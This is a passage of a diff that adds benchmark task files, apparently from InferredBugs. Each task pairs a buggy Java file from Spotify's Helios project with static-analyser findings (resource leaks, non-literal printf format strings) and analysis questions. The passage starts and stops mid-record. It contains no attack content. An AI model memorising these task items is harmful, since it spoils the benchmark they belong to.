+      // If we get here, we did not create a client based on environment variables or a testing
+      // profile, so check if DOCKER_HOST is set. If so, try to connect to that host on port 5801,
+      // assuming it has a helios master running. If not, attempt to connect to
+      // http://localhost:5801 as a last attempt.
+      final String dockerHost = System.getenv("DOCKER_HOST");
+      if (dockerHost == null) {
+        endpoints("http://localhost:5801");
+      } else {
+        try {
+          final URI uri = new URI(dockerHost);
+          endpoints("http://" + uri.getHost() + ":5801");
+        } catch (URISyntaxException e) {
+          throw Throwables.propagate(e);
+        }
+      }
+
+      // We usually require the caller to specify a host filter, so jobs aren't accidentally
+      // deployed to arbitrary hosts. But at this point the master is either running on localhost
+      // or the docker host. Either way, this is probably a test machine with one master and one
+      // agent both running on the same box, so it is safe to provide a default filter that will
+      // deploy anywhere.
+      if (heliosHostFilter == null) {
+        hostFilter(DEFAULT_LOCAL_HOST_FILTER);
+      }
+    }
+
+    private void processHostPickingStrategy() {
+      final String value = this.config.getString("hostPickingStrategy");
+      if ("random".equals(value)) {
+        hostPickingStrategy(HostPickingStrategies.random());
+
+      } else if ("onerandom".equals(value)) {
+        hostPickingStrategy(HostPickingStrategies.randomOneHost());
+
+      } else if ("deterministic".equals(value)) {
+        verifyHasStrategyKey(value);
+        hostPickingStrategy(HostPickingStrategies.deterministic(
+            this.config.getString("hostPickingStrategyKey")));
+
+      } else if ("onedeterministic".equals(value)) {
+        verifyHasStrategyKey(value);
+        hostPickingStrategy(HostPickingStrategies.deterministicOneHost(
+            this.config.getString("hostPickingStrategyKey")));
+
+      } else {
+        throw new RuntimeException("The hostPickingStrategy " + value + " is not valid. "
+          + "Valid values are [random, onerandom, deterministic, onedeterministic] and the "
+          + "deterministic variants require a string value hostPickingStrategyKey to be set "
+          + "which is used to seed the random number generator, so can be any string.");
+      }
+    }
+
+    private void verifyHasStrategyKey(final String value) {
+      if (!this.config.hasPath("hostPickingStrategyKey")) {
+        throw new RuntimeException("host picking strategy [" + value + "] selected but no "
+            + "value for hostPickingStrategyKey which is used to seed the random number generator");
+      }
+    }
+
+    private final Config config;
+    private String user = DEFAULT_USER;
+    private Prober prober = DEFAULT_PROBER;
+    private Deployer deployer;
+    private String hostFilter = System.getenv("HELIOS_HOST_FILTER");
+    private HeliosClient client;
+    private String prefixDirectory;
+    private String jobPrefix;
+    private String jobDeployedMessageFormat = null;
+    private HostPickingStrategy hostPickingStrategy = HostPickingStrategies.randomOneHost();
+
+    public Builder domain(final String domain) {
+      return client(HeliosClient.newBuilder()
+                        .setUser(user)
+                        .setDomain(domain)
+                        .build());
+    }
+
+    public Builder endpoints(final String... endpoints) {
+      return endpointStrings(asList(endpoints));
+    }
+
+    public Builder endpointStrings(final List<String> endpoints) {
+      return client(HeliosClient.newBuilder()
+                        .setUser(user)
+                        .setEndpointStrings(endpoints)
+                        .build());
+    }
+
+    public Builder endpoints(final URI... endpoints) {
+      return endpoints(asList(endpoints));
+    }
+
+    public Builder endpoints(final List<URI> endpoints) {
+      return client(HeliosClient.newBuilder()
+                        .setUser(user)
+                        .setEndpoints(endpoints)
+                        .build());
+    }
+
+    public Builder hostPickingStrategy(final HostPickingStrategy strategy) {
+      this.hostPickingStrategy = strategy;
+      return this;
+    }
+
+    public Builder user(final String user) {
+      this.user = user;
+      return this;
+    }
+
+    public Builder jobDeployedMessageFormat(final String jobLinkFormat) {
+      this.jobDeployedMessageFormat = jobLinkFormat;
+      return this;
+    }
+    
+    public Builder prober(final Prober prober) {
+      this.prober = prober;
+      return this;
+    }
+
+    public Builder deployer(final Deployer deployer) {
+      this.deployer = deployer;
+      return this;
+    }
+
+    public Builder client(final HeliosClient client) {
+      this.client = client;
+      return this;
+    }
+
+    public Builder hostFilter(final String hostFilter) {
+      this.hostFilter = hostFilter;
+      return this;
+    }
+
+    public Builder prefixDirectory(final String prefixDirectory) {
+      this.prefixDirectory = prefixDirectory;
+      return this;
+    }
+
+    public Builder jobPrefix(final String jobPrefix) {
+      this.jobPrefix = jobPrefix;
+      return this;
+    }
+
+    public TemporaryJobs build() {
+      return new TemporaryJobs(this, config);
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.spotify.helios.client.HeliosClient` acquired by call to `TemporaryJobs$Builder(...)` at line 437 is not released after line 437.
+**Note**: potential exception at line 437
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+TemporaryJobs$Builder TemporaryJobs.builder(String)
+
+### Procedure Id:
+com.spotify.helios.testing.TemporaryJobs.builder(java.lang.String):com.spotify.helios.testing.Tempor.f5f46fc22e070e41686356d0255aeb00
+
+### File:
+helios-testing/src/main/java/com/spotify/helios/testing/TemporaryJobs.java
+
+### Key:
+TemporaryJobs.java|builder|RESOURCE_LEAK
+
+### Node Key:
+059f2744cc2584f5360423ee802f205e
+
+### Hash:
+1163603f953e69c145fb53a92e4fa58d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3516/instruction.md b/inferredbugs-3516/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..351db93cd092a382a7f2722bb1dc0fb24878ac5d
--- /dev/null
+++ b/inferredbugs-3516/instruction.md
@@ -0,0 +1,254 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helios
+**Bug ID:** 17
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2014 Spotify AB.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package com.spotify.helios.cli;
+
+import com.google.common.base.Function;
+import com.google.common.base.Strings;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Ordering;
+import com.google.common.util.concurrent.ListenableFuture;
+
+import com.spotify.helios.client.Endpoints;
+import com.spotify.helios.client.HeliosClient;
+import com.spotify.helios.common.descriptors.Deployment;
+import com.spotify.helios.common.descriptors.HostSelector;
+import com.spotify.helios.common.protocol.SetGoalResponse;
+
+import net.sourceforge.argparse4j.inf.Argument;
+import net.sourceforge.argparse4j.inf.Namespace;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.net.URI;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ExecutionException;
+
+import static java.lang.String.format;
+
+public class Utils {
+
+  public static <K, V> Map<K, V> allAsMap(final Map<K, ListenableFuture<V>> map)
+      throws ExecutionException, InterruptedException {
+    final Map<K, V> result = Maps.newHashMap();
+    for (Map.Entry<K, ListenableFuture<V>> e : map.entrySet()) {
+      result.put(e.getKey(), e.getValue().get());
+    }
+    return result;
+  }
+
+  public static HeliosClient getClient(final Target target, final PrintStream err,
+                                       final String username, final Namespace options) {
+
+    List<URI> endpoints = Collections.emptyList();
+    try {
+      endpoints = target.getEndpointSupplier().get();
+    } catch (Exception ignore) {
+      // TODO (dano): Nasty. Refactor target to propagate resolution failure in a checked manner.
+    }
+    if (endpoints.size() == 0) {
+      err.println("Failed to resolve helios master in " + target);
+      return null;
+    }
+
+    return HeliosClient.newBuilder()
+        .setEndpointSupplier(Endpoints.of(target.getEndpointSupplier()))
+        .setSslHostnameVerification(!options.getBoolean("insecure"))
+        .setUser(username)
+        .build();
+  }
+
+  public static boolean userConfirmed(final PrintStream out, final BufferedReader stdin)
+      throws IOException {
+    out.printf("Do you want to continue? [y/N]%n");
+
+    final String line = stdin.readLine().trim();
+
+    if (line.length() < 1) {
+      return false;
+    }
+    final char c = line.charAt(0);
+
+    if (c != 'Y' && c != 'y') {
+      return false;
+    }
+
+    return true;
+  }
+
+  public static Map<String, String> argToStringMap(final Namespace namespace, final Argument arg) {
+    final List<List<String>> args = namespace.getList(arg.getDest());
+    final Map<String, String> map = Maps.newHashMap();
+    if (args != null) {
+      for (final List<String> group : args) {
+        for (final String s : group) {
+          final String[] parts = s.split("=", 2);
+          if (parts.length != 2) {
+            throw new IllegalArgumentException("Bad " + arg.textualName() + " value: " + s);
+          }
+          map.put(parts[0], parts[1]);
+        }
+      }
+    }
+    return map;
+  }
+
+  public static <K extends Comparable<K>, V> void printMap(final PrintStream out, final String name,
+                                                    final Function<V, String> transform,
+                                                    final Map<K, V> values) {
+    out.print(name);
+    boolean first = true;
+    for (final K key : Ordering.natural().sortedCopy(values.keySet())) {
+      if (!first) {
+        out.print(Strings.repeat(" ", name.length()));
+      }
+      final V value = values.get(key);
+      out.printf("%s=%s%n", key, transform.apply(value));
+      first = false;
+    }
+    if (first) {
+      out.println();
+    }
+  }
+
+  public static List<HostSelector> parseHostSelectors(final Namespace namespace,
+                                                      final Argument arg) {
+    final List<List<String>> args = namespace.getList(arg.getDest());
+    final List<HostSelector> ret = Lists.newArrayList();
+    if (args != null) {
+      for (final List<String> group : args) {
+        for (final String s : group) {
+          final HostSelector hostSelector = HostSelector.parse(s);
+          if (hostSelector == null) {
+            throw new IllegalArgumentException(format("Bad host selector expression: '%s'", s));
+          }
+          ret.add(hostSelector);
+        }
+      }
+    }
+    return ret;
+  }
+
+  // shared between JobStartCommand and JobStopCommand
+  public static int setGoalOnHosts(final HeliosClient client, final PrintStream out,
+                                   final boolean json, final List<String> hosts,
+                                   final Deployment deployment, final String token)
+      throws InterruptedException, ExecutionException {
+    int code = 0;
+
+    for (final String host : hosts) {
+      if (!json) {
+        out.printf("%s: ", host);
+      }
+      final SetGoalResponse result = client.setGoal(deployment, host, token).get();
+      if (result.getStatus() == SetGoalResponse.Status.OK) {
+        if (json) {
+          out.printf(result.toJsonString());
+        } else {
+          out.printf("done%n");
+        }
+      } else {
+        if (json) {
+          out.printf(result.toJsonString());
+        } else {
+          out.printf("failed: %s%n", result);
+        }
+        code = 1;
+      }
+    }
+
+    return code;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+CHECKERS_PRINTF_ARGS
+
+### Qualifier:
+Format string must be string literal.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+int Utils.setGoalOnHosts(HeliosClient,PrintStream,boolean,List,Deployment,String)
+
+### Procedure Id:
+com.spotify.helios.cli.Utils.setGoalOnHosts(com.spotify.helios.client.HeliosClient,java.io.PrintStre.dd3906532cee2669e40343dd76bf63dc
+
+### File:
+helios-tools/src/main/java/com/spotify/helios/cli/Utils.java
+
+### Key:
+Utils.java|setGoalOnHosts|CHECKERS_PRINTF_ARGS
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+db0973079ad3eb416da3129fb367ab59
+
+### Bug Type Hum:
+Checkers Printf Args
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3518/instruction.md b/inferredbugs-3518/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..93ed6d7f686bebec71d7f6406c1d0ad68f286043
--- /dev/null
+++ b/inferredbugs-3518/instruction.md
@@ -0,0 +1,444 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helios
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2015 Spotify AB.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package com.spotify.helios.client;
+
+import com.google.common.base.Joiner;
+import com.google.common.base.Supplier;
+import com.google.common.base.Throwables;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Queues;
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.ListeningExecutorService;
+
+import com.fasterxml.jackson.core.type.TypeReference;
+import com.spotify.helios.client.tls.SshAgentSSLSocketFactory;
+import com.spotify.helios.common.HeliosException;
+import com.spotify.helios.common.Json;
+import com.spotify.sshagentproxy.AgentProxies;
+import com.spotify.sshagentproxy.AgentProxy;
+import com.spotify.sshagentproxy.Identity;
+
+import org.apache.http.conn.ssl.DefaultHostnameVerifier;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.lang.reflect.Field;
+import java.net.ConnectException;
+import java.net.HttpURLConnection;
+import java.net.InetAddress;
+import java.net.SocketTimeoutException;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.net.URLConnection;
+import java.net.UnknownHostException;
+import java.nio.charset.StandardCharsets;
+import java.util.Collections;
+import java.util.Deque;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ThreadLocalRandom;
+import java.util.concurrent.TimeoutException;
+import java.util.zip.GZIPInputStream;
+
+import javax.net.ssl.HostnameVerifier;
+import javax.net.ssl.HttpsURLConnection;
+import javax.net.ssl.SSLSession;
+import javax.net.ssl.SSLSocketFactory;
+
+import static com.google.common.base.Strings.isNullOrEmpty;
+import static java.lang.System.currentTimeMillis;
+import static java.net.HttpURLConnection.HTTP_BAD_GATEWAY;
+import static java.net.HttpURLConnection.HTTP_FORBIDDEN;
+import static java.net.HttpURLConnection.HTTP_UNAUTHORIZED;
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+class DefaultRequestDispatcher implements RequestDispatcher {
+
+  private static final Logger log = LoggerFactory.getLogger(DefaultRequestDispatcher.class);
+
+  private static final long RETRY_TIMEOUT_MILLIS = SECONDS.toMillis(60);
+  private static final long HTTP_TIMEOUT_MILLIS = SECONDS.toMillis(10);
+  private static final List<String> VALID_PROTOCOLS = ImmutableList.of("http", "https");
+  private static final String VALID_PROTOCOLS_STR =
+      String.format("[%s]", Joiner.on("|").join(VALID_PROTOCOLS));
+
+  private final Supplier<List<URI>> endpointSupplier;
+  private final ListeningExecutorService executorService;
+  private final String user;
+
+  public DefaultRequestDispatcher(final Supplier<List<URI>> endpointSupplier,
+                                  final String user,
+                                  final ListeningExecutorService executorService) {
+    this.endpointSupplier = endpointSupplier;
+    this.executorService = executorService;
+    this.user = user;
+  }
+
+  @Override
+  public ListenableFuture<Response> request(final URI uri, final String method,
+                                            final byte[] entityBytes,
+                                            final Map<String, List<String>> headers) {
+    return executorService.submit(new Callable<Response>() {
+      @Override
+      public Response call() throws Exception {
+        final HttpURLConnection connection = connect(uri, method, entityBytes, headers);
+        final int status = connection.getResponseCode();
+        final InputStream rawStream;
+
+        if (status / 100 != 2) {
+          rawStream = connection.getErrorStream();
+        } else {
+          rawStream = connection.getInputStream();
+        }
+
+        final boolean gzip = isGzipCompressed(connection);
+        final InputStream stream = gzip ? new GZIPInputStream(rawStream) : rawStream;
+        final ByteArrayOutputStream payload = new ByteArrayOutputStream();
+        if (stream != null) {
+          int n;
+          byte[] buffer = new byte[4096];
+          while ((n = stream.read(buffer, 0, buffer.length)) != -1) {
+            payload.write(buffer, 0, n);
+          }
+        }
+
+        URI realUri = connection.getURL().toURI();
+        if (log.isTraceEnabled()) {
+          log.trace("rep: {} {} {} {} {} gzip:{}",
+                    method, realUri, status, payload.size(), decode(payload), gzip);
+        } else {
+          log.debug("rep: {} {} {} {} gzip:{}",
+                    method, realUri, status, payload.size(), gzip);
+        }
+
+        return new Response(
+            method, uri, status, payload.toByteArray(),
+            Collections.unmodifiableMap(Maps.newHashMap(connection.getHeaderFields())));
+      }
+
+      private boolean isGzipCompressed(final HttpURLConnection connection) {
+        final List<String> encodings = connection.getHeaderFields().get("Content-Encoding");
+        if (encodings == null) {
+          return false;
+        }
+        for (String encoding : encodings) {
+          if ("gzip".equals(encoding)) {
+            return true;
+          }
+        }
+        return false;
+      }
+    });
+  }
+
+  private String decode(final ByteArrayOutputStream payload) {
+    final byte[] bytes = payload.toByteArray();
+    try {
+      return Json.asPrettyString(Json.read(bytes, new TypeReference<Map<String, Object>>() {
+      }));
+    } catch (IOException e) {
+      return new String(bytes, StandardCharsets.UTF_8);
+    }
+  }
+
+  /**
+   * Sets up a connection, retrying on connect failure.
+   */
+  private HttpURLConnection connect(final URI uri, final String method, final byte[] entity,
+                                    final Map<String, List<String>> headers)
+      throws URISyntaxException, IOException, TimeoutException, InterruptedException,
+             HeliosException {
+    final long deadline = currentTimeMillis() + RETRY_TIMEOUT_MILLIS;
+    final int offset = ThreadLocalRandom.current().nextInt();
+
+    while (currentTimeMillis() < deadline) {
+      final List<URI> endpoints = endpointSupplier.get();
+      if (endpoints.isEmpty()) {
+        throw new RuntimeException("failed to resolve master");
+      }
+      log.debug("endpoint uris are {}", endpoints);
+
+      // Resolve hostname into IPs so client will round-robin and retry for multiple A records.
+      // Keep a mapping of IPs to hostnames for TLS verification.
+      final List<URI> ipEndpoints = Lists.newArrayList();
+      final Map<URI, URI> ipToHostnameUris = Maps.newHashMap();
+
+      for (final URI hnUri : endpoints) {
+        try {
+          final InetAddress[] ips = InetAddress.getAllByName(hnUri.getHost());
+          for (final InetAddress ip : ips) {
+            final URI ipUri = new URI(
+                hnUri.getScheme(), hnUri.getUserInfo(), ip.getHostAddress(), hnUri.getPort(),
+                hnUri.getPath(), hnUri.getQuery(), hnUri.getFragment());
+            ipEndpoints.add(ipUri);
+            ipToHostnameUris.put(ipUri, hnUri);
+          }
+        } catch (UnknownHostException e) {
+          log.warn("Unable to resolve hostname {} into IP address: {}", hnUri.getHost(), e);
+        }
+      }
+
+      for (int i = 0; i < ipEndpoints.size() && currentTimeMillis() < deadline; i++) {
+        final URI ipEndpoint = ipEndpoints.get(positive(offset + i) % ipEndpoints.size());
+        final String fullpath = ipEndpoint.getPath() + uri.getPath();
+
+        final String scheme = ipEndpoint.getScheme();
+        final String host = ipEndpoint.getHost();
+        final int port = ipEndpoint.getPort();
+        if (!VALID_PROTOCOLS.contains(scheme) || host == null || port == -1) {
+          throw new HeliosException(String.format(
+              "Master endpoints must be of the form \"%s://heliosmaster.domain.net:<port>\"",
+              VALID_PROTOCOLS_STR));
+        }
+
+        final URI realUri = new URI(scheme, host + ":" + port, fullpath, uri.getQuery(), null);
+
+        AgentProxy agentProxy = null;
+        Deque<Identity> identities = Queues.newArrayDeque();
+        try {
+          if (scheme.equals("https")) {
+            agentProxy = AgentProxies.newInstance();
+            for (final Identity identity : agentProxy.list()) {
+              if (identity.getPublicKey().getAlgorithm().equals("RSA")) {
+                // only RSA keys will work with our TLS implementation
+                identities.offerLast(identity);
+              }
+            }
+          }
+        } catch (Exception e) {
+          log.warn("Couldn't get identities from ssh-agent", e);
+        }
+
+        try {
+          boolean tryNextIdentity = false;
+          do {
+            final Identity identity = identities.poll();
+            try {
+              log.debug("connecting to {}", realUri);
+              return connect0(realUri, method, entity, headers,
+                              ipToHostnameUris.get(ipEndpoint).getHost(),
+                              agentProxy, identity);
+            } catch (SecurityException e) {
+              // there was some sort of security error. if we have any more SSH identities to try,
+              // retry with the next available identity
+              log.debug(e.toString());
+              tryNextIdentity = !identities.isEmpty();
+            } catch (ConnectException | SocketTimeoutException | UnknownHostException e) {
+              // UnknownHostException happens if we can't resolve hostname into IP address.
+              // UnknownHostException's getMessage method returns just the hostname which is a
+              // useless message, so log the exception class name to provide more info.
+              log.debug(e.toString());
+              // Connecting failed, sleep a bit to avoid hammering and then try another endpoint
+              Thread.sleep(200);
+            }
+          } while (tryNextIdentity);
+        } finally {
+          if (agentProxy != null) {
+            agentProxy.close();
+            agentProxy = null;
+          }
+        }
+      }
+      log.warn("Failed to connect, retrying in 5 seconds.");
+      Thread.sleep(5000);
+    }
+    throw new TimeoutException("Timed out connecting to master");
+  }
+
+  private HttpURLConnection connect0(final URI ipUri, final String method, final byte[] entity,
+                                     final Map<String, List<String>> headers,
+                                     final String hostname, final AgentProxy agentProxy,
+                                     final Identity identity)
+      throws IOException {
+    if (log.isTraceEnabled()) {
+      log.trace("req: {} {} {} {} {} {}", method, ipUri, headers.size(),
+                Joiner.on(',').withKeyValueSeparator("=").join(headers),
+                entity.length, Json.asPrettyStringUnchecked(entity));
+    } else {
+      log.debug("req: {} {} {} {}", method, ipUri, headers.size(), entity.length);
+    }
+
+    final URLConnection urlConnection = ipUri.toURL().openConnection();
+    final HttpURLConnection connection = (HttpURLConnection) urlConnection;
+
+    // We verify the TLS certificate against the original hostname since verifying against the
+    // IP address will fail
+    if (urlConnection instanceof HttpsURLConnection) {
+      System.setProperty("sun.net.http.allowRestrictedHeaders", "true");
+      connection.setRequestProperty("Host", hostname);
+
+      final HttpsURLConnection httpsConnection = (HttpsURLConnection) urlConnection;
+      httpsConnection.setHostnameVerifier(new HostnameVerifier() {
+        @Override
+        public boolean verify(String ip, SSLSession sslSession) {
+          final String tHostname = hostname.endsWith(".") ?
+                                   hostname.substring(0, hostname.length() - 1) : hostname;
+          return new DefaultHostnameVerifier().verify(tHostname, sslSession);
+        }
+      });
+
+      if (!isNullOrEmpty(user) && (agentProxy != null) && (identity != null)) {
+        final SSLSocketFactory factory = new SshAgentSSLSocketFactory(agentProxy, identity, user);
+        httpsConnection.setSSLSocketFactory(factory);
+      }
+    }
+
+    connection.setRequestProperty("Accept-Encoding", "gzip");
+    connection.setInstanceFollowRedirects(false);
+    connection.setConnectTimeout((int) HTTP_TIMEOUT_MILLIS);
+    connection.setReadTimeout((int) HTTP_TIMEOUT_MILLIS);
+    for (Map.Entry<String, List<String>> header : headers.entrySet()) {
+      for (final String value : header.getValue()) {
+        connection.addRequestProperty(header.getKey(), value);
+      }
+    }
+    if (entity.length > 0) {
+      connection.setDoOutput(true);
+      connection.getOutputStream().write(entity);
+    }
+    if (urlConnection instanceof HttpsURLConnection) {
+      setRequestMethod(connection, method, true);
+    } else {
+      setRequestMethod(connection, method, false);
+    }
+
+    final int responseCode = connection.getResponseCode();
+    if (responseCode == HTTP_BAD_GATEWAY) {
+      throw new ConnectException("502 Bad Gateway");
+    } else if ((responseCode == HTTP_FORBIDDEN) || (responseCode == HTTP_UNAUTHORIZED)) {
+      throw new SecurityException("Response code: " + responseCode);
+    }
+
+    return connection;
+  }
+
+  private int positive(final int value) {
+    return value < 0 ? value + Integer.MAX_VALUE : value;
+  }
+
+  private void setRequestMethod(final HttpURLConnection connection,
+                                final String method,
+                                final boolean isHttps) {
+    // Nasty workaround for ancient HttpURLConnection only supporting few methods
+    final Class<?> httpURLConnectionClass = connection.getClass();
+    try {
+      Field methodField;
+      HttpURLConnection delegate;
+      if (isHttps) {
+        final Field delegateField = httpURLConnectionClass.getDeclaredField("delegate");
+        delegateField.setAccessible(true);
+        delegate = (HttpURLConnection) delegateField.get(connection);
+        methodField = delegate.getClass().getSuperclass().getSuperclass().getSuperclass()
+            .getDeclaredField("method");
+      } else {
+        delegate = connection;
+        methodField = httpURLConnectionClass.getSuperclass().getDeclaredField("method");
+      }
+
+      methodField.setAccessible(true);
+      methodField.set(delegate, method);
+    } catch (NoSuchFieldException | IllegalAccessException e) {
+      throw Throwables.propagate(e);
+    }
+  }
+
+  @Override
+  public void close() {
+    executorService.shutdownNow();
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.net.HttpURLConnection` acquired to `connection` by call to `openConnection()` at line 282 is not released after line 329.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+HttpURLConnection DefaultRequestDispatcher.connect0(URI,String,byte[],Map,String,AgentProxy,Identity)
+
+### Procedure Id:
+com.spotify.helios.client.DefaultRequestDispatcher.connect0(java.net.URI,java.lang.String,byte[],jav.1fa0aeff95affd22c8df818543cc062b
+
+### File:
+helios-client/src/main/java/com/spotify/helios/client/DefaultRequestDispatcher.java
+
+### Key:
+DefaultRequestDispatcher.java|connect0|RESOURCE_LEAK
+
+### Node Key:
+67dc78cfb6f6dd02fc4f8a84c73ebc3f
+
+### Hash:
+dd58614ae300cdb3ea68117ac7b593f3
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3520/instruction.md b/inferredbugs-3520/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6cbf55f419fb2b16d0cfeff7616ec01601ac7b71
--- /dev/null
+++ b/inferredbugs-3520/instruction.md
@@ -0,0 +1,163 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helios
+**Bug ID:** 26
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2014 Spotify AB.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package com.spotify.helios.cli.command;
+
+import com.google.common.collect.Iterables;
+
+import com.spotify.helios.client.HeliosClient;
+import com.spotify.helios.common.descriptors.Job;
+import com.spotify.helios.common.descriptors.JobId;
+import com.spotify.helios.common.protocol.JobDeployResponse;
+
+import net.sourceforge.argparse4j.inf.Argument;
+import net.sourceforge.argparse4j.inf.Namespace;
+import net.sourceforge.argparse4j.inf.Subparser;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.util.Map;
+import java.util.concurrent.ExecutionException;
+
+abstract class WildcardJobCommand extends ControlCommand {
+
+  private final Argument jobArg;
+
+  public WildcardJobCommand(final Subparser parser) {
+    this(parser, false);
+  }
+
+  public WildcardJobCommand(final Subparser parser, final boolean shortCircuit) {
+    super(parser, shortCircuit);
+
+    jobArg = parser.addArgument("job")
+        .help("Job id.");
+  }
+
+  @Override
+  int run(final Namespace options, final HeliosClient client, final PrintStream out,
+          final boolean json, final BufferedReader stdin)
+      throws ExecutionException, InterruptedException, IOException {
+
+    final String jobIdString = options.getString(jobArg.getDest());
+    final Map<JobId, Job> jobs = client.jobs(jobIdString).get();
+
+    if (jobs.size() == 0) {
+      if (!json) {
+        out.printf("Unknown job: %s%n", jobIdString);
+      } else {
+        JobDeployResponse jobDeployResponse =
+            new JobDeployResponse(JobDeployResponse.Status.JOB_NOT_FOUND, null, null);
+        out.printf(jobDeployResponse.toJsonString());
+      }
+      return 1;
+    } else if (jobs.size() > 1) {
+      if (!json) {
+        out.printf("Ambiguous job reference: %s%n", jobIdString);
+      } else {
+        JobDeployResponse jobDeployResponse =
+            new JobDeployResponse(JobDeployResponse.Status.AMBIGUOUS_JOB_REFERENCE, null, null);
+        out.printf(jobDeployResponse.toJsonString());
+      }
+      return 1;
+    }
+
+    final JobId jobId = Iterables.getOnlyElement(jobs.keySet());
+
+    return runWithJobId(options, client, out, json, jobId, stdin);
+  }
+
+  protected abstract int runWithJobId(final Namespace options, final HeliosClient client,
+                                      final PrintStream out, final boolean json, final JobId jobId,
+                                      final BufferedReader stdin)
+      throws ExecutionException, InterruptedException, IOException;
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+CHECKERS_PRINTF_ARGS
+
+### Qualifier:
+Format string must be string literal.
+
+### Severity:
+HIGH
+
+### Visibility:
